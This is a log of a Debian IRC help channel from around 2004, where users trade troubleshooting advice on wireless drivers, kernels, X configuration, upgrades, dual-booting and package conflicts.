| 00:00.05 | ferris | thanks |
| 00:00.06 | Blissex | ferris: also IIRC the XFCE web site has one of those damnable web based forum system... |
| 00:00.09 | dark`caiu | well, forget it |
| 00:00.11 | dark`caiu | PerfDave thanks |
| 00:00.30 | shingouz | ferris: if your question is not too hard i might take a shot at it... |
| 00:00.40 | shingouz | (if noone minds that is) |
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| 00:00.45 | war- | On Debian, how do I configure ndiswrapper so it loads my nic driver automatically? |
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| 00:00.59 | vnoort | Ok, I have some more information, it has something to do with (non-reachable) samba/nfs-mounts. "ls /" is ok, but "ls -F /" hangs (ls was an alias to ls -F). This is because of /music, which was a (non-working) nfs-mount. The command 'mount' doesn't say anything is mounted on /music. cat /etc/mtab also doesn't show anything, but "umount /music" say "device is busy". cat /proc/mounts does display the mount as nfs |
| 00:01.01 | PerfDave | pr3vi0uz: Cool. |
| 00:01.03 | jonesy | I started using xfce4 the other day, it's really good. |
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| 00:01.27 | shingouz | xfce3 here for a couple of years now |
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| 00:01.34 | alex | ok apparently my nvidia driver is only working for kernel 2.4.26+, however the demudi system comes only with 2.4.25, so now if I want to change the kernel how do I do so without interfering with the demudi kernel optimisation ? |
| 00:01.48 | Einzelganger | Oh, and vnoort=Einzelganger |
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| 00:01.49 | pr3vi0uz | perfdave is it all text mode or graphical installer ? |
| 00:01.57 | PerfDave | pr3vi0uz: It's curses-based |
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| 00:02.36 | ferris | shingouz: I just want to have access to my programs |
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| 00:02.51 | PerfDave | alex: How did you install the demudi stuff? Have you installed the Demudi Debian packages onto a Debian system, or the Demudi Debian-based distro? |
| 00:02.52 | ferris | shingouz: like in the gnome or kde |
| 00:03.11 | alex | PerfDave: I have install from a Demudi cd |
| 00:03.16 | alex | installed |
| 00:03.29 | pr3vi0uz | oh ya thats right ("now im really lost") perfdave thanks for clearifing that :P |
| 00:03.31 | shingouz | ferris: in the taskbar, just rightclick on the icon you want to use and input the correct line into the box that pops up |
| 00:03.34 | toresbe | pr3vi0uz: It's curses-based - but still userfriendly. You are using a sarge netinstall cd? |
| 00:03.38 | pr3vi0uz | hehe |
| 00:03.46 | PerfDave | alex: Hmm, you probably want to ask on a Demudi support channel then, I'm not sure how widely Demudi varies from Debian since it became a seperate distro. |
| 00:03.59 | pr3vi0uz | netinstall? |
| 00:04.06 | pr3vi0uz | <PROTECTED> |
| 00:04.11 | PerfDave | pr3vi0uz: It's text-mode, but with dialogue boxes and a nice UI rather than just typing stuff at the prompt |
| 00:04.11 | daveo | I'm getting kernel panic from my custom kernel compiled from the 2.6.8 source on a pentium pro. error is VFS: unable to mount file system. Any ideas? |
| 00:04.17 | alex | PerfDave: yeah well noone is there, I have been asking for a week |
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| 00:04.21 | toomasr | i'm reading a document "boot linux faster", and it talks about commands like chkconfig, service, i'm wondering about what debian tools provide the same functionality? (like listing all the services that are running, or an overview of all the services, their states, runlevels) |
| 00:04.22 | PerfDave | pr3vi0uz: Have you looked at the Sarge installation manual? |
| 00:04.25 | PerfDave | alex: Mailing list? |
| 00:04.26 | pr3vi0uz | yes |
| 00:04.27 | war- | How do I have debian load ndiswrapper.o (module) at boot up? |
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| 00:04.42 | alex | PerfDave: yeah will try that. |
| 00:04.44 | alex | THanks |
| 00:05.03 | cafuego | <PROTECTED> |
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| 00:05.12 | CoolPops | I installed (via dselect) kernel 2.6.8 and when I boot into it I get a kernel panic because it could not open /dev/console. Anyone have an idea? |
| 00:05.14 | ferris | shingouz: will this start up the system so that I can use any programs.... right now I am going to /usr/bin/ |
| 00:05.21 | war- | cafuego: k doing it now, thx. |
| 00:05.26 | toomasr | i searched packages.debian.org for chkconfig, service, and as i couldn't find them i bet debian has other tools that provide same functionality |
| 00:05.38 | bob2 | toomasr: update-rc.d |
| 00:05.39 | Kyrel | Do someone can ensure me that wineX sources compiles well ? |
| 00:05.58 | shingouz | ferris: what do you mean by that? dont you have xfce running at all at the moment? |
| 00:06.16 | ferris | shingouz: i do not have an icon to click on to (like the start button in windows) to go to programs |
| 00:06.24 | ferris | yes I am running it right now |
| 00:06.27 | cafuego | Kyrel: The wine sources normally compile just fine on the developer's machines. |
| 00:06.29 | war- | cafuego: k |
| 00:06.35 | war- | cafuego: iface wlan0 inet dhcp |
| 00:06.40 | war- | now it should work after reboot right |
| 00:06.43 | toomasr | bob2: thx, i'll check it out |
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| 00:06.58 | shingouz | ferris: xfce doesnt have such a button at all. pick another windowmanager for that |
| 00:07.13 | Kyrel | cafuego, so i've to <u>bought</u> it ? |
| 00:07.16 | xarg | does anyone know how to make wine ignore case? |
| 00:07.24 | Kyrel | (buy sorry) |
| 00:07.38 | ferris | shingouz: is there a way to create a shortcut to it, or a link? |
| 00:07.39 | cafuego | Kyrel: Did you trype that html or did your irc client insert it? |
| 00:07.41 | soften | ferris, think hard about an area on the screen, move your mouse to it, right-click -- presto! you thought a start button into existence |
| 00:08.00 | shingouz | soften: hehehe |
| 00:08.03 | CoolPops | ferris: with XFCE you setup each shortcut/menu to your likings. It does have menu draws and launch buttons but you must configure them to do as you want them to do. |
| 00:08.23 | addNtoX | which is a good tool to test the speed and avalibility of anonymous proxy servers? |
| 00:08.37 | Kyrel | cafuego, i don't want to use upper case so sometimes i use html tags |
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| 00:08.53 | cafuego | Kyrel: That's alright then. |
| 00:08.55 | Cybercool | does someone know this error??: |
| 00:08.59 | cafuego | Kyrel: No, I haven't bought it. |
| 00:09.02 | war- | cafuego: hmm, it did not load ndiswrapper.o |
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| 00:09.05 | war- | cafuego: help ?:D |
| 00:09.10 | Cybercool | XFree86 drm includes at /lib/modules/2.6.8-1-386/build/include/../drivers/char/drm do not fit this driver. |
| 00:09.11 | cafuego | Kyrel: It doesn't run on 64bit Linux anwyay. |
| 00:09.24 | ferris | CoolPops: thanks.... this is beyond me at this time |
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| 00:09.41 | Cybercool | XFree86 drm includes at /lib/modules/2.6.8-1-386/build/include/../drivers/char/drm do not fit this driver. |
| 00:09.42 | cafuego | war-: Did you add the 'auto wlan0' line? |
| 00:09.44 | Cybercool | ??\ |
| 00:09.46 | shingouz | ferris: as i said, there is the taskbar in the bottom of the screen. pick any icon and rightclick on it. input the program you want to use into the "command line" part and pick the icon you want to use |
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| 00:09.48 | Kyrel | cafuego, you mean 64bits processors ? |
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| 00:09.51 | cafuego | Kyrel: yes |
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| 00:10.12 | shingouz | ferris: or open one of the neat dropmenus and pick "add icon" |
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| 00:10.35 | war- | cafuego: oops, you got me!! |
| 00:10.39 | war- | cafuego: trying with that ;) |
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| 00:11.17 | Kyrel | cafuego, it's not a problem then, i got a 32bits Athlon 2500+ |
| 00:12.00 | cafuego | Kyrel: That should run it just fine, yes. |
| 00:12.03 | Cybercool | hello, can anybody please help me? |
| 00:12.29 | Kyrel | cafuego, so... where can i find winex ? |
| 00:12.35 | cafuego | war-: So if it laods when you type 'ifup wlan0' it will also load at bootup. No reboot required,. |
| 00:12.45 | cafuego | Kyrel: Cedega, www.cedega.com |
| 00:13.34 | war- | cafuego: you rock, THANKS, its up & working now |
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| 00:14.05 | war- | cafuego: now to try and figure out how to configure w/wep etc :) |
| 00:14.05 | war- | brb |
| 00:14.13 | Kyrel | cafuego, but on the transgamming's site i have to suscribe (and then to pay) to download |
| 00:14.28 | Lord_Jiu_Jitsu | i burned debian to install here . but im afraid . maybe its change my win XP config . i want to work with both . have a way to do it? |
| 00:15.03 | soften | Lord_Jiu_Jitsu, use partition magic to make some free space, install debian in the free space, let it install grub to the master boot record |
| 00:15.03 | cafuego | Kyrel: Yes, you do. WineX and Cedega are not freeware. |
| 00:15.14 | soften | this will give you a boot menu which will let you pick debian or windows |
| 00:15.14 | cafuego | war-: man iwconfig |
| 00:15.17 | PerfDave | Lord_Jiu_Jitsu: Have you read the Installation Manual? |
| 00:15.21 | soften | iwconfig *rocks* |
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| 00:15.48 | Kyrel | cafuego, so why i've downloaded the sources for free on the same site . |
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| 00:16.00 | war- | cafuego: reading now |
| 00:16.15 | hanasaki | whats the default behavior when adding users? the gets a matching group so user1 is in group users and group user1? |
| 00:16.20 | Isil`Zha | how to install phpmyadmin on debian while i want to keep the installed php5 package? download the package and use dpkg? any risks there? |
| 00:16.21 | cafuego | Kyrel: Coz the sources don't contain copy protection emulation code and some directx code. |
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| 00:17.04 | cafuego | hanasaki: I think only in group user1 |
| 00:17.16 | Kyrel | cafuego, so even if i can compile it fine, it won't really work well ? |
| 00:17.18 | CoolPops | Does anyone use 2.6.8 kernel w/debian? |
| 00:17.28 | cafuego | Kyrel: No idea, depends on what you run under it. |
| 00:17.37 | cafuego | CoolPops: No, coz 2.6.8 is broken. |
| 00:17.45 | hanasaki | cafuego: thanks... wasnt there a time when all users that were added ended up in just group "user"? |
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| 00:18.01 | hanasaki | CoolPops: i did.. i am on the 2.6.9 now |
| 00:18.04 | Kyrel | cafuego, hl˛ |
| 00:18.07 | cafuego | hanasaki: I'm just guessing, they *may* be added to users.. just cehck /etc/adduser.conf |
| 00:18.17 | Spxx | sarge-i386-netinst.iso; I burned it, rebooted.. it doesnt boot .. wrong cd? |
| 00:18.23 | hanasaki | ah.. never knew about that cafuego brb |
| 00:18.26 | cafuego | Kyrel: No idea then. Probably needs all the newest stuff. |
| 00:18.28 | CoolPops | hanasaki: did you have any problem with it not being able to open /dev/console on boot? I get a kernel panic. |
| 00:18.45 | hanasaki | CoolPops: read cafuego response! |
| 00:18.55 | hanasaki | <cafuego> CoolPops: No, coz 2.6.8 is broken. |
| 00:19.09 | CoolPops | hanasaki: ok, I did but you said you did use it, which I Thought meant you resolved the problem. |
| 00:19.15 | cafuego | hanasaki: Broken in the NFS department. |
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| 00:19.30 | soften | Lord_Jiu_Jitsu, please don't msg |
| 00:19.35 | Kyrel | cafuego, lol i think i will install fallout and play it with wine, it's free. |
| 00:19.39 | Lord_Jiu_Jitsu | =/ |
| 00:19.43 | hanasaki | just get 2.6.9 seemd to work ok.. some funkyness |
| 00:19.48 | Lord_Jiu_Jitsu | ok . how i make the magic thing? |
| 00:19.59 | soften | Lord_Jiu_Jitsu, do you have partition magic? |
| 00:20.00 | hanasaki | broken in NFS? |
| 00:20.09 | soften | the commercial software application Partition Magic? |
| 00:20.20 | hanasaki | CoolPops: i never got the kernle panic |
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| 00:20.20 | Spxx | anyone? |
| 00:20.21 | Lord_Jiu_Jitsu | i dont know how to do it |
| 00:21.32 | soften | Lord_Jiu_Jitsu, basically you install partition magic (under windows), run it, it puts up a graphic of your partitions. click on your c drive and pick "move/resize" from the menu - then grab the little handle on the right side and drag it to the left a little, making the partition smaller. this makes room for debian. then exit partition magic and reboot |
| 00:22.05 | Lord_Jiu_Jitsu | oh |
| 00:22.15 | hanasaki | soften: good tool partiion magic.. i switched to system / partition commander from vcomm .. PM was killing my drives a few yrs ago |
| 00:22.18 | green_earz | Spxx: right cd net installere , you must of got a bad burn, will knoppix boot on the box ? http://cdimage.debian.org/pub/cdimage-testing/daily/i386/20041220/ |
| 00:22.34 | soften | hanasaki, well, Lord_Jiu_Jitsu has partition magic I am pretty sure |
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| 00:23.14 | cafuego | Kyrel: Well *shrug* you're that one who bought windows software |
| 00:23.15 | war- | Anyone here using ndiswrapper & a 54mbps aironet card? |
| 00:23.20 | Lord_Jiu_Jitsu | i beleive in magics |
| 00:23.30 | Lord_Jiu_Jitsu | oh . i dont beleive |
| 00:23.36 | r011 | is the debian-way to start/stop services like bsd-s? chmod a-x /etc/init.d/script.sh ? or i have to do more than that? |
| 00:23.42 | soften | well, good luck Lord_Jiu_Jitsu. |
| 00:23.51 | cafuego | war-: Aren't the cisco cards supported to have actual linux drivers? |
| 00:23.53 | Lord_Jiu_Jitsu | hehe |
| 00:24.01 | Lord_Jiu_Jitsu | im a little bad in english |
| 00:24.01 | hanasaki | cafuego: did some checking.. i have an old box with accounts from potatoe.. it put all users in the users group.... sarge install makes a new group for uers |
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| 00:24.07 | cafuego | r011: 'rcconf' |
| 00:24.20 | war- | cafuego: nope |
| 00:24.20 | Lord_Jiu_Jitsu | i do that with in windows . or in bios? |
| 00:24.23 | war- | cafuego: works with the ndis wrapper |
| 00:24.33 | war- | or, almost |
| 00:25.17 | soften | Lord_Jiu_Jitsu, your english is great. you do it in windows. |
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| 00:25.40 | bazz | how can i give myself permissions to alsa devices? |
| 00:25.46 | r011 | cafuego: rcconf command not found (need apt-get?) |
| 00:25.57 | Kyrel | cafuego, i's been a long time i haven't bought a soft... since i met linux. a friend "m'a prété" hl˛ |
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| 00:27.54 | Lord_Jiu_Jitsu | i dont know how to recise . i click in C: right click . proprieties? |
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| 00:29.52 | Lord_Jiu_Jitsu | lol |
| 00:30.04 | Lord_Jiu_Jitsu | how i do that resise thing? |
| 00:30.07 | soften | Lord_Jiu_Jitsu, do you have partition magic, yes or no? |
| 00:30.17 | Lord_Jiu_Jitsu | click on your c drive and pick "move/resize" from the menu |
| 00:30.38 | Lord_Jiu_Jitsu | i dont see it |
| 00:30.52 | bazz | if i run amixer as myself i get permission denied, but it works fine as root... how can i give myself permission to the device? |
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| 00:31.25 | Lord_Jiu_Jitsu | i dont know what is it |
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| 00:31.57 | Lord_Jiu_Jitsu | magic partition? only the original partition . that is my hard disk i think |
| 00:32.10 | soften | Lord_Jiu_Jitsu, look here -> http://www.powerquest.com/partitionmagic/ |
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| 00:32.26 | soften | do you have this product or don't you. I thought you did for some reason, but I could be wrong |
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| 00:35.31 | sphere | uhm |
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| 00:35.47 | sphere | what is the counterpart of smtp_accept_queue_per_connection in exim4 |
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| 00:37.03 | Isil`Zha | how can i change dependencies? phpmyadmin persistently demands php4 where php5 shurely would do too -_- |
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| 00:37.09 | steve | hey all |
| 00:37.17 | steve | does sarge include an upgrade option from woody? |
| 00:37.43 | hanasaki | ohhh fyi.. i dont think partition magic does reiser but system commander does |
| 00:38.01 | soften | steve: you could update your sources, and apt-get update, and apt-get upgrade |
| 00:38.03 | jonesy | steve: just change your apt-sources and do an apt-get update && apt-get dist-upgrade |
| 00:38.10 | steve | ahh |
| 00:38.14 | jonesy | soften: good idea. |
| 00:38.14 | steve | so I don't need to do a format or anything? |
| 00:38.27 | soften | hanasaki, that doesn't matter much for someone who just wants to resize their windows partition to install linux to play with |
| 00:38.34 | hanasaki | true |
| 00:38.40 | hanasaki | just passing on info that may matter later |
| 00:38.43 | soften | steve, nope, just apt-get update and apt-get upgrade and wait |
| 00:38.47 | steve | thanks :) |
| 00:38.47 | soften | thanks hanasaki :) |
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| 00:39.12 | mathieu | steve, you're used to windows i guess? :) |
| 00:40.14 | hanasaki | bbl |
| 00:40.15 | usuario | Is there an open source equivalent to MS Visio? |
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| 00:40.24 | cafuego | What does visio do? |
| 00:40.27 | steve | hmm, when I do dist-upgrade I get this |
| 00:40.27 | steve | 0 packages upgraded, 0 newly installed, 0 to remove and 0 not upgraded. |
| 00:40.44 | soften | steve, the first step was "update your sources" |
| 00:40.45 | cafuego | steve: What does /etc/debian_version say? |
| 00:40.48 | Strog | It's like dia but more refined |
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| 00:40.53 | steve | soften: to what? |
| 00:41.00 | cafuego | Strog: Like dia but more expensive? |
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| 00:41.07 | Strog | that too. ;-) |
| 00:41.13 | gregday | Kivio is good |
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| 00:41.31 | green_earz | steve: cat /etc/debian_version |
| 00:41.39 | Strog | What we really need is a converter for all the cool stencils |
| 00:41.47 | steve | green_earz: 3.0 |
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| 00:41.55 | drbombay43 | yellow to all & Happy Holidays |
| 00:42.01 | usuario | cafuego: visio is a business diagramming solution in general |
| 00:42.30 | cafuego | If you can't do it in php/mysql it's not worth doing. |
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| 00:43.07 | soften | steve: may I msg you |
| 00:43.12 | steve | yeah that would be great |
| 00:43.27 | usuario | cafuego: what's dia onec? |
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| 00:43.44 | cafuego | usuario: a typo. "dia once" |
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| 00:45.32 | budluva | help, im having problems reconfiguring x |
| 00:45.41 | Mathman | hi there. anyone know if I'll run into any problems using the async option for my nfs shares? assuming my server doesn't die or something. |
| 00:45.43 | cafuego | budluva: hit it with a rusty hammer |
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| 00:46.01 | WiFiTux | Hi, can anyone help me with a Intel High Definition card and ALSA? |
| 00:46.34 | budluva | smokey:~# dpkg-reconfigure x-window-system |
| 00:46.34 | budluva | smokey:~# |
| 00:46.39 | budluva | cafuego what do you think? |
| 00:46.44 | cafuego | Mathman: man miount claims 'async' is in 'defaults' so i suppose not. |
| 00:46.52 | dac | Mathman: shouldnt happen. but *if* your network/server/client dies, you may encounter data loss. |
| 00:47.33 | green_earz | budluva: dpkg-reconfigure xserver-xfree86 |
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| 00:48.26 | steve | what are the advantages of updating my sources.list to sarge and doing apt-get update && apt-get upgrade , versus doing apt-get dist-upgrade |
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| 00:49.41 | mad_ogre | anybody know why a freshly installed sarge on poweredge sc420 using root partition via LVM hangs at the "real-time clock driver xxx" line? |
| 00:49.45 | jcole | are there any guis to apt-get source? if not how do i get the list of source packages available to me? |
| 00:50.12 | soften | jcole, synaptic |
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| 00:50.19 | mad_ogre | i tried both 2.6.7 and 2.6.8 kernel but both hangs at approx the same place |
| 00:50.40 | jcole | soften: synaptic does not show source packages, does it? |
| 00:50.44 | green_earz | steve: i use apt-get dist-upgrade > dist-upgrade in addition to performing the function of upgrade, also |
| 00:50.44 | green_earz | <PROTECTED> |
| 00:51.23 | bob2 | jcole: why do you want a list of source packages? |
| 00:51.30 | p00p | hi i am having what appears to be a major problem with debian 3.0. another admin installed webmin via the installer after i already installed it from apt-get, and now the two are conflicting. i tried uninstalling both ways, and i deleted /etc/webmin, but now apt-get constantly complains |
| 00:51.52 | soften | jcole, open synaptic and use the search term "source" |
| 00:51.56 | p00p | trying to remove the packages nets me this |
| 00:52.03 | dondelelcaro | p00p: you mean someone installed webmin manually, and one installed the other using apt-get? |
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| 00:52.12 | p00p | dondelelcaro: yes |
| 00:52.29 | sussudio | bob2: could you ban the mask for zYgoat_, see /lastlog zYgoat_ |
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| 00:52.32 | p00p | <PROTECTED> |
| 00:52.32 | p00p | /var/lib/dpkg/info/webmin-cpan.postinst: /usr/sbin/update-webmin: No such file or directory |
| 00:52.38 | dondelelcaro | p00p: remove the manually installed one for starters, then reinstall the one packaged in Debian, and teach your other administrator how to administer a Debian machine. |
| 00:52.41 | soften | that isn't an answer, but will provide the answer |
| 00:52.41 | thread | So I set up projectfile.com's rc.firewall on my server to share the ppp0 with my eth0, and my client machines seem to be able to access ftp and ssh fine (it sorta works), but http requests get the ACK response back from the server (TCP connection established) but never actually sends any data. I can't seem to get on aim either. Anybody have any wise thoughts? |
| 00:52.52 | p00p | dondelelcaro: i've tried that... |
| 00:53.14 | dondelelcaro | p00p: that's fine. Remove /var/lib/dpkg/info/webmin.prerm |
| 00:53.33 | jcole | soften: that only returns 124 packages... |
| 00:53.40 | soften | so, probably not then. |
| 00:53.40 | p00p | dondelelcaro: that will convince apt/dpkg that webmin is no longer installed? |
| 00:53.49 | dondelelcaro | p00p: no, that will allow you to reinstall webmin. |
| 00:53.54 | p00p | dondelelcaro: ahhh |
| 00:54.01 | dondelelcaro | s/will/should/ |
| 00:54.09 | jcole | bob2: for gdkxft |
| 00:54.10 | p00p | i'll give it a shot |
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| 00:54.48 | jcole | bob2: apt-get source libgdkxft0 did the trick |
| 00:54.49 | drbombay43 | I am curious about Debian, I am currently using FC3 on my sever and PClinuxOS on my work station. why do all of you prefer Debain? |
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| 00:55.31 | dondelelcaro | !tell drbombay43 about why debian |
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| 00:55.41 | anti-genre | is debian a good choice for 64-bit? |
| 00:55.48 | dondelelcaro | anti-genre: sure |
| 00:56.01 | anti-genre | how do i get the amd64 port? |
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| 00:56.19 | dondelelcaro | !amd64 |
| 00:56.19 | dpkg | i heard amd64 is See http://www.debian.org/ports/amd64/ and the #debian-amd64 IRC channel, or https://alioth.debian.org/docman/view.php/1314/21/debian-amd64-howto.html See http://debian-amd64.alioth.debian.org/install-images/ for ISOs. |
| 00:56.42 | p00p | dondelelcaro: it looks like that's fixed the problem :) thanks |
| 00:56.51 | anti-genre | thank you :D now i don't have to use freebsd |
| 00:56.54 | Chr|st|an_ | need some help ... how can I block a email sender with e specific IP from accessing port 25 ? |
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| 00:57.22 | anti-genre | Chr|st|an_, close the program that's keeping port 25 open |
| 00:57.27 | anti-genre | netstat -natlp i think |
| 00:57.36 | sobersabre | is there an embedded channel ? |
| 00:57.55 | drbombay43 | dondelelcaro: was that my answer? |
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| 00:58.16 | jcole | bob2 soften: got it, it's apt-cache showsrc gdkxft |
| 00:58.25 | dondelelcaro | drbombay43: yes. Your question gets asked alot... read through those webpages, and if you have specific questions, then we can help you better. |
| 00:58.45 | Chr|st|an_ | anti-genre, It is a Exim smtp running onthe 25.... I need only to exclude someone with one IP |
| 00:58.53 | drbombay43 | understand and thanks |
| 00:59.01 | anti-genre | hmm |
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| 00:59.23 | dondelelcaro | sobersabre: there are a few... depends what you're looking for, though. |
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| 00:59.49 | anti-genre | Chr|st|an_, iptables |
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| 01:00.09 | helloyo | for the first time ever debian has decided to run at 61Hz instead of 70, how do i force it to use 70? |
| 01:00.12 | anti-genre | Chr|st|an_, or the deny list in the mail server. |
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| 01:00.37 | dondelelcaro | helloyo: eh? you mean your refresh rate? |
| 01:00.43 | sobersabre | i am looking for consulting with people. i am not sure i can point out a specific microcontroller or something, if that's what you want to know |
| 01:00.50 | helloyo | dondelelcaro, yeah |
| 01:01.06 | dondelelcaro | helloyo: X will always pick the highest refresh rate that is compatible with your desired resolution and monitor specs |
| 01:01.30 | sobersabre | also... is there a laptop specific chan on freenode ? |
| 01:01.34 | dondelelcaro | sobersabre: well, we don't do embedded stuff here... if you know what OS you're using, that's probably the place to start... there's also #hardware; they might know better. |
| 01:01.47 | dondelelcaro | sobersabre: /msg chanserv help list; |
| 01:01.48 | Chr|st|an_ | ip tables ... whould be the best ... |
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| 01:02.08 | sobersabre | dondelelcaro, i won't be using an OS.... it will be lower/simpler than this. |
| 01:02.11 | helloyo | dondelelcaro, yeah, but it has always been choosing 70Hz with no problems, but this time it hasn't |
| 01:02.12 | dondelelcaro | Chr|st|an_: just use exim's allow and/or deny rules to restrict it. |
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| 01:02.35 | dondelelcaro | sobersabre: even when you are writting for an embedded system, you're still typically using an OS or a framework |
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| 01:02.49 | dondelelcaro | sobersabre: anyway, try in #hardware |
| 01:03.00 | Area-51 | does anyone have any experience with LCDd? im having trouble getting it to do anything on my lcd, and ive installed lcdproc but there is no binary or config file for it... any help is appreciated (debian testing, kernel 2.6.8, crystal fontz usb/serial (usb) lcd) |
| 01:03.04 | anti-genre | i have an extra ethernet card PCI in my box, and i can't use it unless i modprobe sk98lin and dhcpcd eth1 so i can't do a net install |
| 01:03.04 | sobersabre | ah, i am on debian... of course. |
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| 01:03.58 | dondelelcaro | sobersabre: no, I mean on the embedded system itself. Unless you're only writing a very small controller, it's not unusual to use a framework or OS like emdebian or whatever |
| 01:04.26 | seberino_ | EdibleText: only postfix is using iso POP pulls emails from server and gives you a nice safe local copy and IMAP leaves it on remote server??...it seems POP is better for most cases and IMAP is only good in specific cases like say...on travel!? is that right? |
| 01:04.33 | seberino_ | so POP pulls emails from server and gives you a nice safe local copy and IMAP leaves it on remote server??...it seems POP is better for most cases and IMAP is only good in specific cases like say...on travel!? is that right? |
| 01:04.44 | helloyo | why would debian on this install on the same computer start using 61Mhz refresh rate instead of 70? |
| 01:04.50 | dondelelcaro | seberino_: no, IMAP can do local copies as well. |
| 01:04.58 | sobersabre | dondelelcaro, there are many cases, when u are not using any os, just plain assembly, a main loop and that's all. so u don't need a "framework" u really need only assembler, debugger and a programmer... this is my case |
| 01:05.10 | dondelelcaro | helloyo: again, I've told you. For whatever reason, you don't have your monitor specifications correct, or you have changed your config file. |
| 01:05.13 | dondelelcaro | !u |
| 01:05.13 | dpkg | Dammit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you'. See http://ars.userfriendly.org/cartoons/?id=20041201 |
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| 01:05.43 | Azar | yes friends , use english |
| 01:05.44 | seberino_ | dondelelcaro: so POP is obsolete since IMAP is newer and can do what POP does too? |
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| 01:05.54 | dondelelcaro | seberino_: no, they're just different. |
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| 01:06.25 | dondelelcaro | seberino_: that's like saying that ftp is obsolute because we've got http instead. |
| 01:06.25 | helloyo | dondelelcaro, yes, but i've installed debian like 10 times on this computer, and never had problems that couldn't be fixed with dpkg-reconfigure, but now it doesn't give me the option to choose 1024/768 70Hz |
| 01:06.50 | dondelelcaro | helloyo: why in the world have you installed Debian 10 times on that poor machine? |
| 01:06.58 | seberino_ | dondelelcaro: ok, thanks, lemmie rephrase the question... is there any reason i should learn both or just learn to love one? |
| 01:07.10 | helloyo | dondelelcaro, hehehe, lots of reasons, but this time the installer was quite different |
| 01:07.17 | sobersabre | helloyo, which hardware are u using, i mean these params are in the display manual. |
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| 01:07.29 | Azar | helloyo, check first how old your video card firmware is/ new linux version requires a newer video card driver firmware |
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| 01:07.38 | drbombay43 | dondelelcaro that was very good of you , Thanks |
| 01:07.39 | dondelelcaro | helloyo: anyway, the situation is the same. You don't have the right specifications for your monitor's refresh rates |
| 01:07.48 | dondelelcaro | drbombay43: np |
| 01:07.49 | helloyo | dondelelcaro, how do i change them? |
| 01:08.10 | helloyo | Azar, sobersabre, yeah, just the thing is i have installed this system quite recently, without this problem |
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| 01:08.14 | dondelelcaro | helloyo: you specify them using dpkg-reconfigure xserver-xfree86; or you set them manually in your /etc/X11/XF86Config-4 |
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| 01:08.32 | helloyo | dondelelcaro, reconfigure didn't let me choose, so i'll try the file, thanks |
| 01:09.03 | dondelelcaro | helloyo: did you actually check to see what refresh rate you ended up with when you started up X? |
| 01:09.18 | helloyo | dondelelcaro, i just installed 10 minutes ago |
| 01:09.26 | sobersabre | helloyo, the thing is... had you done exactly the same actions, the results would've be the same... isn't this right ? |
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| 01:09.42 | helloyo | sobersabre, yeah, but the installer was a tiny bit different |
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| 01:10.22 | anti-genre | does anyone know why i can't do a netinstall |
| 01:10.40 | dondelelcaro | anti-genre: no, because we aren't mind readers here. |
| 01:10.48 | sobersabre | anti-genre, do u have a "net" ? |
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| 01:13.36 | anti-genre | well i don't even know why i can't do a netinstall, it always says it can't connect to an ftp server |
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| 01:13.48 | anti-genre | and for the adm64 port there's no option to do everything from cd |
| 01:14.06 | anti-genre | amd64, even |
| 01:14.30 | dondelelcaro | anti-genre: drop to a console and see if you can ping the outside world |
| 01:14.55 | anti-genre | i don't even know how to get to a console |
| 01:15.00 | TrevT | rofl |
| 01:15.05 | sobersabre | anti-genre, the idea of netinst image is..... it is for network installation. can you nslookup ? can you ping your default gateway ? |
| 01:15.28 | anti-genre | TrevT, i mean from the installer |
| 01:15.42 | dondelelcaro | anti-genre: ctrl-alt-f2. But seriously, you need to read the install manual. |
| 01:15.45 | TrevT | I know.. I was chuckling from the mind reader comment sorry |
| 01:15.49 | sobersabre | anti-genre, Alt+ F1/F2/... etc. |
| 01:15.57 | TrevT | Well I don't know.. but the mind reader thing anyhow |
| 01:16.12 | anti-genre | hmm |
| 01:16.34 | TrevT | Are you plugged into a FW ? Router ? Modem ? |
| 01:16.38 | pingouin | is the nforce3/amd 64 suported ? |
| 01:16.40 | sobersabre | anti-genre, did u successfully configure the network ? |
| 01:16.46 | anti-genre | dsl modem |
| 01:17.07 | anti-genre | sobersabre, yes |
| 01:17.08 | TrevT | can you 'ping gw' ? |
| 01:17.19 | anti-genre | i can't ping the outside world |
| 01:17.38 | cafuego | pingouin: Yes. |
| 01:17.40 | sobersabre | anti-genre, u need to establish pppoe/pptp connection. |
| 01:17.50 | TrevT | Welp, I know snet or sbc makes you "register your modem" before they allow access.. beyond a ping. |
| 01:17.56 | pingouin | cafuego, thx |
| 01:18.01 | cafuego | pingouin: I use an FX 5600 on AMD64 and it works fine. |
| 01:18.10 | cafuego | 5700 even |
| 01:18.27 | TrevT | use knoppix or something.. and see if you can browse your Router to ensure its working and setup properly |
| 01:18.33 | anti-genre | my mobo has an nforce 3 250 chipset |
| 01:18.37 | pingouin | cafuego, amd64 on which chip ? s754 or s939 ? |
| 01:18.41 | pingouin | ok |
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| 01:18.54 | anti-genre | cafuego, have you have any problems with 64-bit? |
| 01:18.59 | cafuego | pingouin: s754 (2800+) |
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| 01:19.08 | cafuego | anti-genre: Not under Debian, no. |
| 01:19.17 | rDancer | what's the fedora equivalent of start-stop-daemon? |
| 01:19.17 | anti-genre | cafuego, you have the same hardware as me |
| 01:19.26 | Radiance | does any one have a fine working card in his laptop, 802.11g, works with WPA, driver is prism54 or hostap or wlan-ng ? if so, i'd like to know so i can finally get something which does work |
| 01:19.50 | cafuego | anti-genre: That depends on whether you have the Gigabyte K8NS Pro mobo. |
| 01:20.06 | anti-genre | ah, no :/ just the same videocard and processor then |
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| 01:20.17 | sobersabre | Radiance, i use ipw2200 and it works fine. it is pci i think, and built in. |
| 01:20.24 | cafuego | ... and 6 DVDRW drives <heh> |
| 01:20.43 | Azar | cafuego you rock |
| 01:20.51 | anti-genre | :p |
| 01:20.53 | cafuego | Azar: I know. Why? |
| 01:21.08 | Azar | cafuego It was just a "wow" remark |
| 01:21.17 | Radiance | sobersabre, well i'm looking for one which isn't builtin hehe |
| 01:21.57 | cafuego | Radiance: www.prism54.(org|com) |
| 01:22.14 | cafuego | Radiance: Be wary of cards that have varying chipsets across varying revisions. |
| 01:22.27 | rand | has anyone got a nvidia card working with the 2.6 kernel ? |
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| 01:22.46 | anti-genre | rand, i have |
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| 01:22.52 | Azar | rand nvidia has new driver updates that will work with 2.6.9 |
| 01:22.52 | sobersabre | Radiance, like pccard ? there's site i don't remember the url, it concentrates on wifi with linux. u need to see its HCL |
| 01:22.57 | green_earz | rand: for 3d ? yes |
| 01:23.01 | cafuego | rand: Everyone with an nvidia card and 2.6 kernel who is not you has. |
| 01:23.21 | cafuego | Note that those probably won't work with 2.6.10-rc* |
